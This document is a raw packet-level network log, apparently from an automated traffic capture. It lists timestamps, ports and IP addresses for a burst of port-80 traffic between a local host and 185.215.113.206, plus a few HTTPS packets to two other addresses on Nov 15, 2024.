Nov 15, 2024 16:16:31.844793081 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844805956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844815969 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844822884 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844835043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844846010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844856024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844861031 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844867945 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844877958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844897032 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844899893 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844912052 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844938040 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844938993 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844938993 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845001936 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845014095 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845014095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845014095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845071077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845072031 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845127106 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845139027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845263958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845274925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845338106 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845350027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845362902 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845362902 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845362902 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845366001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845380068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845391035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845400095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845402956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845418930 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845468044 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845735073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845748901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845760107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845769882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845781088 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845791101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845808983 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845838070 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845875978 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845886946 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845896959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845906019 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845916033 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845926046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845936060 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845948935 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845952034 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845969915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845985889 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.845993996 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.845993996 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.846016884 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846030951 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846040964 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.846052885 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846062899 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846071959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846081972 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846091986 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846093893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.846102953 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846112013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846123934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846133947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846143961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846153975 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846159935 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.846159935 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.846210957 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846235991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846247911 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846256018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846268892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846280098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846290112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846299887 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846309900 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846319914 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.846362114 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.846363068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.846363068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.846363068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.846363068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.846457958 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.846532106 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.846548080 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.846564054 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.846595049 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.846621037 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.847178936 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847253084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847264051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847278118 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847331047 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847346067 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847357988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847368002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847392082 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847402096 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847410917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847420931 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847420931 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847441912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847453117 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847462893 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847462893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847476006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847517967 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847522020 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847532034 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847536087 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847568035 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847599983 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847620010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847631931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847644091 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847676992 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847676992 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847719908 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847735882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847754002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847788095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847804070 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847835064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847847939 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847858906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847868919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847899914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.847928047 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847939014 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.847949982 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848028898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848040104 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848050117 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848059893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848059893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848059893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848074913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848087072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848087072 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848098040 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848112106 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848117113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848135948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848146915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848157883 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848157883 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848170042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848215103 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848251104 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848258972 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848263979 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848274946 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848285913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848295927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848305941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848315954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848371029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848371029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848371029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848423004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848434925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848447084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848458052 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848467112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848469973 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848478079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848493099 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848503113 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848512888 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848514080 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848514080 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848524094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848534107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848572969 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848582983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848592997 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848598003 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848598003 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848607063 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848617077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848627090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848638058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848648071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848656893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848656893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848658085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848681927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848694086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848704100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848706007 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848706007 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848728895 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848740101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848767996 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848773956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848786116 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848799944 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848814964 CET	49881	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.848817110 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848833084 CET	443	49881	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.848834038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848850012 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848860979 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848870993 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848881960 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848886013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848886013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848886013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848886013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.848900080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848917007 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848917007 CET	49881	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.848927975 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848938942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848956108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848967075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.848977089 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849080086 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849080086 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849080086 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849080086 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849133015 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849148989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849159956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849178076 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849200010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849210024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849220991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849231958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849231958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849237919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849263906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849267960 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849276066 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849286079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849296093 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849306107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849315882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849327087 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849338055 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849345922 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849347115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849345922 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849391937 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849436045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849440098 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849440098 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849440098 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849440098 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849446058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849462986 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849526882 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849526882 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849526882 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849544048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849555016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849565029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849574089 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849611998 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849653006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849666119 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849693060 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849704981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849705935 CET	49881	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.849719048 CET	443	49881	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.849745989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849745989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849762917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849781990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849793911 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849802017 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849812984 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849838972 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849848986 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849864006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849879026 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849889994 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849900007 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849910021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849919081 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.849951982 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849951982 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849951982 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849951982 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.849951982 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850053072 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850150108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850162029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850172043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850183010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850210905 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850248098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850269079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850285053 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850348949 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850348949 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850348949 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850348949 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850373030 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850385904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850413084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850416899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850430965 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850441933 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850461006 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850533009 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850564957 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850580931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850590944 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850601912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850613117 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850621939 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850630999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850641012 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850651026 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850661993 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850671053 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.850677013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850677013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850677967 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850677967 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850677967 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850739956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.850739956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.851187944 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.851243019 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.851277113 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.851286888 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.851286888 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851301908 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.851301908 CET	80	49759	185.215.113.206	192.168.2.5
